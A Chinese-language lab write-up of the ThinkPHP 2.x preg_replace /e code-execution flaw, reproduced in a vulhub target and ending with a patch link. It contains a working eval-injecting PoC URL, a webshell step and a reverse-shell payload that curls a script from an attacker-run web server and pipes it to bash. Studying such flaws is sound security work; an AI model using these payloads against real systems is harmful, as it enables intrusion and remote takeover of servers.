漏洞简介
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
preg_replace这个函数使用方法如下:
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
关于/e的解释:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式,此为PHP专有参数,例如preg_replace函数。
可以使用在线php沙箱测试php版本是否支持/e修饰符
沙箱地址:http://sandbox.onlinephpfunctions.com/
preg_replace这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。
参考链接:https://www.freebuf.com/column/223149.html
影响版本
ThinkPHP 2.x
漏洞复现
在vulhub里面拉取靶场
访问
利用
构造poc
http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
post传参命令执行
getshell蚁剑连接
反弹shell
创建好包含反弹命令的sl.sh命令
使用python命令在此文件目录开一个web服务
使用python搭建web服务,使用下面俩个哪个都行,此处使用python3,看自己的python环境
# python2
python -m SimpleHTTPServer 8086(8086为web服务端口)
# python3
python3 -m http.server
开启监听
创建bash
1=system("curl 192.168.10.65/zcc.sh | bash");
注意:如果反弹成功,就会一直加载
成功上线
修复建议
用户可下载官方发布的补丁:
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838